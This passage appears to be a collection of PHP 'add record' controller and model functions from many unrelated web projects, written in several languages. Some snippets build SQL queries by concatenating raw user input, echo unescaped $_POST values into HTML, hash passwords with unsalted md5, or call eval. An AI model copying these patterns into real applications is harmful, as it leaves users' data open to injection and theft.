post('faedah');\r\n $cadangan = $this-> input -> post('cadangan');\r\n\r\n \r\n\r\n $data = array(\r\n 'ID_LATIHAN' => $data['id_latihan'],\r\n 'ID_USER' => $data['user'],\r\n 'ID_PENYELIA' =>$data['penyelia'],\r\n 'Objektif' => $objektif,\r\n 'Sebab' => $sebab,\r\n 'Penyampaian' => $penyampaian,\r\n 'Komunikasi' => $komunikasi,\r\n 'Interaksi' => $interaksi,\r\n 'Respon' => $respon,\r\n 'Difahami' => $difahami,\r\n 'Kesan' => $kesan,\r\n 'Aktiviti' => $aktiviti,\r\n 'BahanKursus' => $bahan,\r\n 'TahapPengetahuan' => $tahap,\r\n 'Kemahiran' => $kemahiran,\r\n 'TempohLatihan' => $tempoh,\r\n 'Lokasi' => $lokasi,\r\n 'Makanan' => $makanan,\r\n 'DewanKuliah' => $dewan,\r\n 'Urusetia' => $urusetia,\r\n 'Faedah' => $faedah,\r\n 'Cadangan' => $cadangan\r\n );\r\n\r\n $this-> db -> insert('penilaianpeserta',$data);\r\n \r\n}", "public function modelDoAdd(){\n\t\t\t$tenphongban = $_POST[\"tenphongban\"];\n\t\t\t//lay bien ket noi de thao tac csdl\n\t\t\t$conn = Connection::getInstance();\n\t\t\t//chuan bi truy van\n\t\t\t$query = $conn->prepare(\"insert into phongban set tenphongban=:ten\");\n\t\t\t$query->execute(array(\"ten\"=>$tenphongban));\n\t\t}", "public function addPesan()\n\t{\n\t\t$ambil_akun1 = $this->Wali_Kelas_model->ambil_user($this->session->userdata('uname'));\n\t\t$ambil_status = $this->Wali_Kelas_model->ambil_status($this->session->userdata('kode'));\n\t\t$data = array(\n\t\t\t'user1' => $ambil_akun1,\n\t\t\t'status' => $ambil_status\n\t\t);\n\t\t$data['jumlah']=$this->Wali_Kelas_model->ambil_jumlah($this->session->userdata('uname'));\n\t\t$data['listMahasiswa_W'] = $this->Wali_Kelas_model->getAllMahasiswa_W();\n\t\t$data['notifInformasi']=$this->Wali_Kelas_model->notifInformasi_Wali();\n\t\t$data['ListNotifInformasi']=$this->Wali_Kelas_model->ListNotifInformasi_Wali();\n\t\t$data['notif'] = $this->Wali_Kelas_model->notifikasiPesan();\n\t\t$data['LihatNotifRespon']=$this->Wali_Kelas_model->LihatNotifRespon_Wali();\n\t\t$data['notifPesan'] = $this->Wali_Kelas_model->notifPesan_Wali();\n\t\t$data['ListnotifPesan'] = $this->Wali_Kelas_model->ListNotifPesan_Wali();\n\t\t$this->load->view('W_Buat_Pesan',$data);\n\t}", "public function act_add_penjualan()\n {\n\n $produk = $this->input->post('produk');\n $presentase = $this->input->post('presentase');\n $no_hp = $this->input->post('no_hp');\n\n $action = $this->general->create('m_customer_penjualan',\n array('produk' => $produk,\n 'presentase' => $presentase,\n 'no_hp' => $no_hp,\n ));\n if ($action) {\n echo (\"<script LANGUAGE='JavaScript'>window.location.href='\".base_url('sales/customer/data_verifikasi1/').\"';</script>\");\n }\n\n }", "public function add() \n { \n $data['piutang'] = $this->piutangs->add();\n $data['action'] = 'piutang/save';\n \n $tmp_statuss = $this->statuss->get_all();\n foreach($tmp_statuss as $row){\n $statuss[$row['id']] = $row['status'];\n }\n $data['statuss'] = $statuss;\n \n $this->template->js_add('\n $(document).ready(function(){\n // binds form submission and fields to the validation engine\n $(\"#form_piutang\").parsley();\n });','embed');\n \n $this->template->render('piutang/form',$data);\n\n }", "public function add() {\n\n\t\t\t$projetoNome = $_POST['pjt_new_1'];\n\t\t\t$projetoData = $_POST['pjt_new_2'];\n\n\t\t\t$db = new Projetos_Model();\n\t\t\t$db->insert('sis_pjt', array(\n\t\t\t\t\"pjt_nme\" => \"$projetoNome\",\n\t\t\t\t\"pjt_data\" => \"$projetoData\",\n\t\t\t));\n\n\t\t\treturn header( \"Location: ../projetos\" );\n\t\t}", "public function addPenName($penno,$fxn,$h_id,$user)\r\n\t\t{\r\n\t\t\t/* \r\n\t\t\t\tThis function inserts new pen name in pen table.\r\n\t\t\t\tIt also inserts new transaction that the user added new pen name in user_transaction table.\r\n\t\t\t*/\r\n\t\t\t\t$link = $this->connect();\r\n\t\t\t\t$q = \"SELECT max(pen_id)\r\n\t\t\t\t\tFROM pen\";\r\n\t\t\t\t$r = mysqli_query($link, $q);\r\n\t\t\t\t$ro = mysqli_fetch_row($r);\r\n\t\t\t\t$max = $ro[0] + 1;\r\n\t\t\t\t$query = \"INSERT INTO pen(pen_id,pen_no,function,house_id) \r\n\t\t\t\t\t\tVALUES('\" . $max . \"','\" . $penno . \"','\" . $fxn . \"','\" . $h_id . \"');\";\r\n\t\t\t\tif ($result = mysqli_query( $link, $query )) {\r\n\t\t \t$data = array(\"success\"=>\"true\",\r\n\t\t \"newId\"=> $link->insert_id);\r\n\t\t \t\t $this->userTransactionEdit($user,$max,\"pen\",0,$penno,1,0);\r\n\t\t\t }else {\r\n\t\t\t $data = array(\"success\"=>\"false\",\r\n\t\t\t \"error\"=>mysqli_error($link));\r\n\t\t\t }\r\n\t\t\t return $data;\r\n\t\t}", "function add_surat_keputusan_pemutih_penyalur() {\n//\t\tif (! $this->get_permission('fill_this')) return $this->intruder();\n\t\tglobal ${$GLOBALS['post_vars']};\n\t\t$record = array (\n\t\t\t'no_surat_keputusan_pemutih_penyalur' => ${$GLOBALS['post_vars']}['no_surat_keputusan_pemutih_penyalur'],\n\t\t\t'id_cek_pemutih' => ${$GLOBALS['post_vars']}['id_cek_pemutih'],\n\t\t\t'nama' => ${$GLOBALS['post_vars']}['nama'],\n\t\t\t\n\t\t\t'nip' => ${$GLOBALS['post_vars']}['nip'],\n\t\t\t'insert_by' => $GLOBALS['ses']->loginid,\n\t\t\t'date_insert' => time()\n\t\t);\n\t\t$_block = new block();\n\t\t$_block->set_config('title', __('Status').' '.__('Add').' Surat Keputusan Pemutihan Izin Penyalur');\n\t\t$_block->set_config('width', 595);\n\t\tif (! surat_keputusan_pemutih_penyalur::get($record)) {\n\t\t\teval($this->save_config);\n\t\t\tif (surat_keputusan_pemutih_penyalur::add($record)) {\n\n\n\t\t\t\tif ($GLOBALS[$GLOBALS['post_vars']]['opener']) {\n\t\t\t\t\t$opener_sql = $GLOBALS[$GLOBALS['post_vars']]['opener_sql'];\n\t\t\t\t\t$opener_var = $GLOBALS[$GLOBALS['post_vars']]['opener_var'];\n\t\t\t\t\tif (! $record[$opener_var]) {\n\t\t\t\t\t\tif (eregi('postgre', $GLOBALS['adodb_type']))\n\t\t\t\t\t\t\t$last_id = $GLOBALS['adodb']->Execute(\n\t\t\t\t\t\t\t\"SELECT\n\t\t\t\t\t\t\t\tcurrval('surat_keputusan_pemutih_penyalur_{$opener_var}_seq') AS last_id\n\t\t\t\t\t\t\tFROM\n\t\t\t\t\t\t\t\tsurat_keputusan_pemutih_penyalur\"\n\t\t\t\t\t\t\t);\n\t\t\t\t\t\telse if (eregi('mysql', $GLOBALS['adodb_type']))\n\t\t\t\t\t\t\t$last_id = $GLOBALS['adodb']->Execute(\n\t\t\t\t\t\t\t'SELECT last_insert_id() AS last_id'\n\t\t\t\t\t\t\t);\n\t\t\t\t\t\t$record[$opener_var] = $last_id->fields['last_id'];\n\t\t\t\t\t}\n\t\t\t\t\t$result = $GLOBALS['adodb']->Execute($opener_sql);\n\t\t\t\t\t$refresh_add_js = '';\n\t\t\t\t\twhile (! $result->EOF) {\n\t\t\t\t\t\t$result_text = '';\n\t\t\t\t\t\tif (isset($result->fields['svalue'])) $result_text .= $result->fields['svalue'];\n\t\t\t\t\t\tif (isset($result->fields['svalue2'])) $result_text .= ' - '.$result->fields['svalue2'];\n\t\t\t\t\t\tif (isset($result->fields['svalue3'])) $result_text .= ' - '.$result->fields['svalue3'];\n\t\t\t\t\t\tif (isset($result->fields['svalue4'])) $result_text .= ' - '.$result->fields['svalue4'];\n\t\t\t\t\t\tif (isset($result->fields['svalue5'])) $result_text .= ' - '.$result->fields['svalue5'];\n\t\t\t\t\t\t$refresh_add_js .= \"index=window.top.opener.{$opener_var}_add(\".\n\t\t\t\t\t\t\t\"'{$result_text}', \".\n\t\t\t\t\t\t\t\"'{$result->fields['skey']}');\\n\";\n\t\t\t\t\t\tif ($result->fields['skey'] == $record[$opener_var])\n\t\t\t\t\t\t\t$refresh_add_js .= 'window.top.opener.document.theform.'.\n\t\t\t\t\t\t\t\t$opener_var.'.options[index].selected = true;';\n\t\t\t\t\t\t$result->MoveNext();\n\t\t\t\t\t}\n\t\t\t\t\t$refresh_js = <<< EOT\n<script language=javascript>\n\tvar q=window.top.opener.document.theform.{$opener_var}.options.length-1;\n\tfor (;q>=1;q--)\n\t\twindow.top.opener.document.theform.{$opener_var}.options[q] = null;\n{$refresh_add_js}\n</script>\nEOT;\n\t\t\t\t\t$GLOBALS['self_close_js'] = <<< EOT\n<script language=javascript>\nself.setTimeout('window.top.opener.focus();window.top.close();', 500);\n</script>\nEOT;\n\t\t\t\t}\n\n\t\t\t\t$_block->parse(array('+<font color=green><b>'.__('Successfull Added').'</b></font>'));\n\t\t\t\treturn $_block->get_str().$refresh_js;\n\t\t\t}\n\t\t}\n\t\t$GLOBALS['self_close_js'] = $GLOBALS['adodb']->ErrorMsg();\n\t\t$_block->parse(array('+<font color=red><b>'.__('Failed Added').'</b></font>'.' :'.__('Data already exists')));\n\t\treturn $_block->get_str();\n\t}", "public function actionCreate()\n {\n $model = new Penulis();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->id]);\n }\n\n return $this->render('create', [\n 'model' => $model,\n ]);\n }", "public function insertPenyimpananPendistribusian($data)\n {\n $pendistribusian = new PenyimpananDistribusi();\n $pendistribusian->id_user = $data['id_user'];\n $pendistribusian->status = $data['status'];\n $pendistribusian->transaksi = json_encode($data['transaksi']);\n\n if($pendistribusian->save())\n {\n return \"success\";\n }\n else\n {\n return \"something wrong\";\n }\n }", "public function actionCreate()\n {\n $model = new Penilaian();\n\n $data_pegawai_exist = $model->find()->select(['id_pegawai'])->column();\n $pegawais = Pegawai::find()->where(['NOT IN', 'id_pegawai', $data_pegawai_exist])->all();\n $kriteria = Kriteria::find()->all();\n $data_pegawai = [];\n\n foreach ($pegawais as $key => $pegawai) {\n $data_pegawai[$pegawai->id_pegawai] = $pegawai->nip . ' | ' . $pegawai->nama_pegawai;\n }\n\n $post_data = Yii::$app->request->post();\n if (!empty($post_data)) {\n $model->load($post_data);\n\n if (!empty($post_data['Penilaian']['penilaian'])) {\n $model->penilaian = json_encode($post_data['Penilaian']['penilaian']); \n }\n\n if ($model->save()) {\n return $this->redirect(['index']);\n }\n\n }\n\n return $this->render('create', [\n 'model' => $model,\n 'data_pegawai' => $data_pegawai,\n 'kriteria' => $kriteria,\n ]);\n }", "public function add() {\n\n $sql = \"INSERT INTO persona(id,nombre,apellido_paterno,apellido_materno,estado_salud,telefono,ubicacion)\n VALUES(null,'{$this->nombre}','{$this->apellido_paterno}','{$this->apellido_materno}',\n '{$this->estado_salud}','{$this->telefono}','{$this->ubicacion}')\";\n $this->con->consultaSimple($sql);\n }", "public function add(){\n\t\t$nama = $_POST['nama_sekolah'];\n\t\t$lati = $_POST['latitude'];\n\t\t$longi = $_POST['longitude'];\n\t\t$alamat = $_POST['alamat'];\n\n\t\t$data['nama_sekolah'] = $nama;\n\t\t$data['latitude'] = $lati;\n\t\t$data['longitude'] = $longi;\n\t\t$data['alamat'] = $alamat;\n\n\t\t$this->m_sekolah->addData($data);\n\t\tredirect('Welcome/index');\n\t}", "function add(){\n\t\tif(is_post_request()){\n\t\t\t$modeldata = transform_request_data($_POST);\n\t\t\t$rules_array = array(\n\t\t\t\t'judul' => 'required',\n\t\t\t\t'pengarang' => 'required',\n\t\t\t\t'penerbit' => 'required',\n\t\t\t\t'tanggalmasuk' => 'required',\n\t\t\t\t'fotobuku' => 'required',\n\t\t\t);\n\t\t\t$is_valid = GUMP::is_valid($modeldata, $rules_array);\n\t\t\tif( $is_valid !== true) {\n\t\t\t\tif(is_array($is_valid)){\n\t\t\t\t\tforeach($is_valid as $error_msg){\n\t\t\t\t\t\t$this->view->page_error[] = $error_msg;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\t$this->view->page_error[] = $is_valid;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif( empty($this->view->page_error) ){\n\t\t\t\t$db = $this->GetModel();\n\t\t\t\t$rec_id = $db->insert( 'buku' , $modeldata );\n\t\t\t\tif(!empty($rec_id)){\n\t\t\t\t\tset_flash_msg('','');\n\t\t\t\t\tredirect_to_page(\"buku\");\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\tif($db->getLastError()){\n\t\t\t\t\t\t$this->view->page_error[] = $db->getLastError();\n\t\t\t\t\t}\n\t\t\t\t\telse{\n\t\t\t\t\t\t$this->view->page_error[] = \"Error inserting record\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t$this->view->page_title =\"Add New Buku\";\n\t\t$this->view->render('buku/add.php' ,null,'main_layout.php');\n\t}", "function addNewprefect (){\n $data = array(\n 'prfct_nom' => $this->input->post('prfct_nom')\n );\n $this->db->insert('prefectures',$data);\n }", "public function add()\n\t{\t\n\t\t//Carrega o Model Categorias\t\t\t\n\t\t$this->load->model('CategoriasModel', 'Categorias');\n\t\n\t\t$data['categorias'] = $this->Categorias->getCategorias();\t\n\n\t\t// Editando texto do titulo do header\n\t\t$data['pagecfg']['Title'] = \"Adicionar Pessoa\";\t\t\n\n\t\t// Alterando o Estado da View Para Adicionar Pessoa\n\t\t$data['pagecfg']['viewState'] = \"Adicionar Pessoa\";\n\t\t$data['pagecfg']['btnState'] = \"Adicionar\";\n\t\t$data['pagecfg']['inputState'] = \"enable\";\n\t\t$data['pagecfg']['actionState'] = \"/ListarPessoas/salvar\";\n\t\t\n\t\t//Carrega a View\n\t\t$this->load->view('templates/header', $data);\n\t\t$this->load->view('PessoaView', $data);\n\t\t$this->load->view('templates/footer', $data);\n\t}", "public function store(Request $request)\n {\n $request->validate([\n 'nama' => 'required',\n 'jk' => 'required',\n 'no_hp' => 'required',\n 'alamat' => 'required',\n ]);\n \n Penjual::create($request->all());\n \n return redirect()->route('penjual.index')\n ->with('success','Penjual berhasil di tambahkan');\n }", "public function actionAdd($penilaian_id)\n {\n\n $model = new PoinKebaikan();\n $dim = DimPenilaian::find()->where('deleted!=1')->andWhere(['penilaian_id' => $penilaian_id])->one();\n\n if ($model->load(Yii::$app->request->post())) {\n $pelanggaran = DimPelanggaran::find()->where('deleted!=1')->andWhere(['penilaian_id' => $penilaian_id])->andWhere(['pelanggaran_id' => $model->pelanggaran_id])->one();\n $model->penilaian_id = $penilaian_id;\n\n if ($model->pelanggaran_id != NULL) {\n $new_skor = $dim->akumulasi_skor - $pelanggaran->poin->poin;\n if ($new_skor < 0) {\n $dim->akumulasi_skor = 0;\n } else {\n $dim->akumulasi_skor = $new_skor;\n }\n $pelanggaran->status_pelanggaran = 1;\n $dim->save();\n $pelanggaran->save();\n $model->save();\n return $this->redirect(['dim-penilaian/view', 'id' => $penilaian_id, 'penilaian_id' => $penilaian_id]);\n }\n\n if ($model->save()) {\n return $this->redirect(['dim-penilaian/view', 'id' => $penilaian_id, 'penilaian_id' => $penilaian_id]);\n } else {\n return $this->render('add', [\n 'model' => $model,\n 'dim' => $dim->dim->nama,\n ]);\n }\n } else {\n return $this->render('add', [\n 'model' => $model,\n 'dim' => $dim->dim->nama,\n ]);\n }\n }", "public function tambah_produk() {\n $dataInputan = array(\n 'nama' => $this->input->post('nama'),\n 'deskripsi' => $this->input->post('deskripsi'),\n 'harga' => $this->input->post('harga'),\n 'stok' => $this->input->post('stok'),\n 'gambar' => $this->modelToko->_uploadImage('gambar'),\n );\n\n $this->modelToko->masukkan('product', $dataInputan);\n redirect(base_url().\"index.php/admin\");\n }", "public function add() {\n $this->layout = 'ajax';\n if ($this->request->is('post')) {\n $this->Tratamiento->create();\n if ($this->Tratamiento->save($this->request->data)) {\n $this->Session->setFlash('Se Registro correctamente', 'msgbueno');\n $this->redirect(array('action' => 'index'));\n } else {\n $this->Session->setFlash('No se pudo registrar!!', 'msgerror');\n }\n }\n $penfigo_tipo = $this->Penfigo->find('list', array('fields' => 'nombre'));\n $this->set(compact('penfigo_tipo'));\n }", "public function add_pemesan($nm_pemesan,$jk,$no_hp,$alamat){\r\n\r\n if(empty($nm_pemesan) || empty($jk) || empty($no_hp) || empty($alamat)){\r\n return $this->empty_response();\r\n }else{\r\n $data = array(\r\n \"nm_pemesan\"=>$nm_pemesan,\r\n \"jk\"=>$jk,\r\n \"no_hp\"=>$no_hp,\r\n \"alamat\"=>$alamat\r\n );\r\n\r\n $insert = $this->db->insert(\"pemesan\", $data);\r\n\r\n if($insert){\r\n $response['status']=200;\r\n $response['error']=false;\r\n $response['message']='Data pemesan ditambahkan.';\r\n return $response;\r\n }else{\r\n $response['status']=502;\r\n $response['error']=true;\r\n $response['message']='Data pemesan gagal ditambahkan.';\r\n return $response;\r\n }\r\n }\r\n\r\n }", "function add_kunjungan_pasien($no_rm){\n $kunjungan = $this->db->query(\"select kunjungan from pasien where no_rm = '\".$no_rm.\"' \")->row()->kunjungan;\n \n $data = array(\n 'kunjungan' => ($kunjungan + 1)\n );\n\n $this->db->where('no_rm', $no_rm);\n $this->db->update('pasien',$data);\n }", "public function __construct(PengajuanPenjualan $pengajuanPenjualan)\n {\n $this->pengajuanPenjualan = $pengajuanPenjualan;\n }", "public function prosesTambah()\n {\n $siswa = [\n 'nama' => $this->input->post('nama', true),\n 'alamat' => $this->input->post('alamat', true),\n 'nis' => $this->input->post('nis', true),\n 'kelas' => $this->input->post('kelas', true),\n 'jk' => $this->input->post('jk', true),\n 'no_hp' => $this->input->post('no_hp', true)\n\n ];\n $data = $this->siswa->insert_siswa($siswa);\n }", "public function agregar()\n {\n if (AuthHelper::obtenerUsuarixAdmin() == 2){\n $nombre = $_POST['name'];\n \n //chequeo que no este vacio el nombre\n if (!empty($_POST['name'])) {\n \n //busco en la tabla de paises alguno que coincida con el nombre puesto por el usuario.\n $paisDb = $this->modelpaises->obtenerPais($nombre);\n\n //y si no se obtuvo un pais en la base de datos que coincida\n //con lo ingresado por el usuario ahi si lo agrego.\n if (empty($paisDb)) {\n $this->modelpaises->agregar($nombre);\n header(\"Location: \" . BASE_URL . 'home');\n } else $this->mostrarAgregar(\"Ya existe un pais con ese nombre\");\n } else $this->mostrarAgregar(\"No es posible agregar paises vacios\");\n } else {\n $this->view->mostrarError(\"Acceso denegado\");\n }\n }", "public function actionCreate()\n\t{\n\t\t$model=new Pegawai;\n\n\t\t// Uncomment the following line if AJAX validation is needed\n\t\t $this->performAjaxValidation($model);\n\n\n\t\tif(isset($_POST['Pegawai']))\n\t\t{\n\t\t\t$model->attributes=$_POST['Pegawai'];\n\t\t\t\n\t\t\t$nip = $_POST['Pegawai']['nip'];\n\t\t\t$nama_peg = $_POST['Pegawai']['nama'];\n\t\t\t$alamat = $_POST['Pegawai']['alamat'];\n\t\t\t$ttl = $_POST['Pegawai']['tanggal_lahir'];\n\t\t\t$agama = $_POST['Pegawai']['agama'];\n\n $sql = \"INSERT INTO pegawai(nip, nama, alamat, tanggal_lahir, agama)\n VALUES(:nip,:nama_peg,:alamat,:ttl,:agama)\";\n\n $cmd = Yii::app()->db->createCommand($sql);\n $cmd->bindParam(\":nip\",$nip,PDO::PARAM_INT);\n $cmd->bindParam(\":nama_peg\",$nama_peg,PDO::PARAM_STR);\n $cmd->bindParam(\":alamat\",$alamat,PDO::PARAM_STR);\n $cmd->bindParam(\"ttl\",$ttl,PDO::PARAM_INT);\n $cmd->bindParam(\"agama\",$agama,PDO::PARAM_STR);\n try {\n \t$cmd->execute();\n \t$this->redirect(array('admin'));\n } catch (Exception $e) {\n \tYii:app()->user->setFlash('adaKesalahan',\n \t\t\"Ada Kesalahan :\".\"{$e->getMessage()}\");\n }\n\t\t}\n\n\t\t$this->render('create',array(\n\t\t\t'model'=>$model,\n\t\t));\n\t}", "public function addProduk()\n {\n return view('blogedit.add');\n }", "public function add()\n\t{\n\t\t$username = $this->input->post('username');\n\t\t$password = $this->input->post('password');\n\t\t$password = md5($password);\n\t\t$level = $this->input->post('level');\n\t\t$mangdl = array('username' => $username, 'password' => $password, 'level' => $level);\n\n\t\tif($this->crud_model->insert($mangdl)) {\n\t\t\t$this->load->view('thanhcong');\n\t\t}\n\t}", "public function addnew()\n\t{\n\t\tif (!$this->auth($_SESSION['leveluser'], 'detailfasilitaskesehatan', 'create')) {\n\t\t\techo $this->pohtml->error();\n\t\t\texit;\n\t\t}\n\t\tif (!empty($_POST)) {\n\t\t\t$detailfasilitaskesehatan = array(\n\t\t\t\t'idkategori' => $_POST['idkategori'],\n\t\t\t\t'nama' => $this->postring->valid($_POST['nama'], 'xss'),\n\t\t\t\t'seourl' => $this->postring->seo_title($this->postring->valid($_POST['nama'], 'xss')),\n\t\t\t\t'kodefaskes' => $this->postring->valid($_POST['kodefaskes'], 'xss'),\n\t\t\t\t'kelas' => $this->postring->valid($_POST['kelas'], 'xss'),\n\t\t\t\t'direktur' => $this->postring->valid($_POST['direktur'], 'xss'),\n\t\t\t\t'alamat' => $this->postring->valid($_POST['alamat'], 'xss'),\n\t\t\t\t'kecamatan' => $this->postring->valid($_POST['kecamatan'], 'xss'),\n\t\t\t\t'pemilik' => $this->postring->valid($_POST['pemilik'], 'xss'),\n\t\t\t\t'telpon' => $this->postring->valid($_POST['telpon'], 'xss'),\n\t\t\t\t'email' => $this->postring->valid($_POST['email'], 'xss'),\n\t\t\t\t'website' => $this->postring->valid($_POST['website'], 'xss'),\n\t\t\t\t'fax' => $this->postring->valid($_POST['fax'], 'xss'),\n\t\t\t\t'ugd' => $this->postring->valid($_POST['ugd'], 'xss'),\n\t\t\t\t'vip' => $this->postring->valid($_POST['vip'], 'xss'),\n\t\t\t\t'vvip' => $this->postring->valid($_POST['vvip'], 'xss'),\n\t\t\t\t'kelas1' => $this->postring->valid($_POST['kelas1'], 'xss'),\n\t\t\t\t'kelas2' => $this->postring->valid($_POST['kelas2'], 'xss'),\n\t\t\t\t'kelas3' => $this->postring->valid($_POST['kelas3'], 'xss'),\n\t\t\t\t'jumdokter' => $this->postring->valid($_POST['jumdokter'], 'xss'),\n\t\t\t\t'jumperawat' => $this->postring->valid($_POST['jumperawat'], 'xss'),\n\t\t\t\t'foto' => $this->postring->valid($_POST['foto'], 'xss'),\n\t\t\t\t'seourl' => $this->postring->valid($_POST['seourl'], 'xss'),\n\t\t\t);\n\t\t\t$query = $this->podb->insertInto('detailfasilitaskesehatan')->values($detailfasilitaskesehatan);\n\t\t\t$query->execute();\n\t\t\t$this->poflash->success('Detailfasilitaskesehatan has been successfully added', 'admin.php?mod=detailfasilitaskesehatan');\n\t\t}\n\t\t?>\n\t\t<div class=\"block-content\">\n\t\t\t<div class=\"row\">\n\t\t\t\t<div class=\"col-md-12\">\n\t\t\t\t\t<?=$this->pohtml->headTitle('Add Detailfasilitaskesehatan');?>\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t\t<div class=\"row\">\n\t\t\t\t<div class=\"col-md-12\">\n\t\t\t\t\t<?=$this->pohtml->formStart(array('method' => 'post', 'action' => 'route.php?mod=detailfasilitaskesehatan&act=addnew', 'autocomplete' => 'off'));?>\n\t\t\t\t\t\t<div class=\"row\">\n\t\t\t\t\t\t\t<div class=\"col-md-4\">\n\t\t\t\t\t\t\t<div class=\"input-group\">\n\t\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\t\t\t\t$kats = $this->podb->from('katfasilitaskesehatan')\n\t\t\t\t\t\t\t\t\t\t\t->orderBy('idkategori DESC')\n\t\t\t\t\t\t\t\t\t\t\t->fetchAll();\n\t\t\t\t\t\t\t\t\t\techo $this->pohtml->inputSelectNoOpt(array('id' => 'idkategori', 'label' => 'Kategori', 'name' => 'idkategori', 'mandatory' => true));\n\t\t\t\t\t\t\t\t\t\tforeach($kats as $kat){\n\t\t\t\t\t\t\t\t\t\t\techo '<option value=\"'.$kat['idkategori'].'\">'.$kat['namakategori'].'</option>';\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\techo $this->pohtml->inputSelectNoOptEnd();\n\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t<span class=\"input-group-btn\" style=\"padding-top:25px !important;\">\n\t\t\t\t\t\t\t\t\t\t<a href=\"admin.php?mod=katfasilitaskesehatan&act=addnew\" class=\"btn btn-success\"><?=$GLOBALS['_']['addnew'];?></a>\n\t\t\t\t\t\t\t\t\t</span>\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t<div class=\"col-md-4\">\n\t\t\t\t\t\t\t\t<div class=\"form-group\">\n\t\t\t\t\t\t\t\t\t<label for=\"nama\">Nama Fasilitas</label>\n\t\t\t\t\t\t\t\t\t<input type=\"text\" name=\"nama\" class=\"form-control\" id=\"nama\" value=\"<?=(isset($_POST['nama']) ? $_POST['nama'] : '');?>\" placeholder=\"Nama\" />\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t<div class=\"col-md-4\">\n\t\t\t\t\t\t\t\t<div class=\"form-group\">\n\t\t\t\t\t\t\t\t\t<label for=\"kodefaskes\">Kode</label>\n\t\t\t\t\t\t\t\t\t<input type=\"text\" name=\"kodefaskes\" class=\"form-control\" id=\"kodefaskes\" value=\"<?=(isset($_POST['kodefaskes']) ? $_POST['kodefaskes'] : '');?>\" placeholder=\"Kodefaskes\" />\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t<div class=\"col-md-4\">\n\t\t\t\t\t\t\t\t<div class=\"form-group\">\n\t\t\t\t\t\t\t\t\t<label for=\"kelas\">Kelas</label>\n\t\t\t\t\t\t\t\t\t<input type=\"text\" name=\"kelas\" class=\"form-control\" id=\"kelas\" value=\"<?=(isset($_POST['kelas']) ? $_POST['kelas'] : '');?>\" placeholder=\"Kelas\" />\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t<div class=\"col-md-4\">\n\t\t\t\t\t\t\t\t<div class=\"form-group\">\n\t\t\t\t\t\t\t\t\t<label for=\"direktur\">Direktur</label>\n\t\t\t\t\t\t\t\t\t<input type=\"text\" name=\"direktur\" class=\"form-control\" id=\"direktur\" value=\"<?=(isset($_POST['direktur']) ? $_POST['direktur'] : '');?>\" placeholder=\"Direktur\" />\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t<div class=\"col-md-4\">\n\t\t\t\t\t\t\t\t<div class=\"form-group\">\n\t\t\t\t\t\t\t\t\t<label for=\"alamat\">Alamat</label>\n\t\t\t\t\t\t\t\t\t<input type=\"text\" name=\"alamat\" class=\"form-control\" id=\"alamat\" value=\"<?=(isset($_POST['alamat']) ? $_POST['alamat'] : '');?>\" placeholder=\"Alamat\" />\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t<div class=\"col-md-4\">\n\t\t\t\t\t\t\t\t<div class=\"form-group\">\n\t\t\t\t\t\t\t\t\t<label for=\"kecamatan\">Kecamatan</label>\n\t\t\t\t\t\t\t\t\t<input type=\"text\" name=\"kecamatan\" class=\"form-control\" id=\"kecamatan\" value=\"<?=(isset($_POST['kecamatan']) ? $_POST['kecamatan'] : '');?>\" placeholder=\"Kecamatan\" />\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t<div class=\"col-md-4\">\n\t\t\t\t\t\t\t\t<div class=\"form-group\">\n\t\t\t\t\t\t\t\t\t<label for=\"pemilik\">Pemilik</label>\n\t\t\t\t\t\t\t\t\t<input type=\"text\" name=\"pemilik\" class=\"form-control\" id=\"pemilik\" value=\"<?=(isset($_POST['pemilik']) ? $_POST['pemilik'] : '');?>\" placeholder=\"Pemilik\" />\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t<div class=\"col-md-4\">\n\t\t\t\t\t\t\t\t<div class=\"form-group\">\n\t\t\t\t\t\t\t\t\t<label for=\"telpon\">Telpon</label>\n\t\t\t\t\t\t\t\t\t<input type=\"text\" name=\"telpon\" class=\"form-control\" id=\"telpon\" value=\"<?=(isset($_POST['telpon']) ? $_POST['telpon'] : '');?>\" placeholder=\"Telpon\" />\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t<div class=\"col-md-4\">\n\t\t\t\t\t\t\t\t<div class=\"form-group\">\n\t\t\t\t\t\t\t\t\t<label for=\"email\">Email</label>\n\t\t\t\t\t\t\t\t\t<input type=\"text\" name=\"email\" class=\"form-control\" id=\"email\" value=\"<?=(isset($_POST['email']) ? $_POST['email'] : '');?>\" placeholder=\"Email\" />\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t<div class=\"col-md-4\">\n\t\t\t\t\t\t\t\t<div class=\"form-group\">\n\t\t\t\t\t\t\t\t\t<label for=\"website\">Website</label>\n\t\t\t\t\t\t\t\t\t<input type=\"text\" name=\"website\" class=\"form-control\" id=\"website\" value=\"<?=(isset($_POST['website']) ? $_POST['website'] : '');?>\" placeholder=\"Website\" />\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t<div class=\"col-md-4\">\n\t\t\t\t\t\t\t\t<div 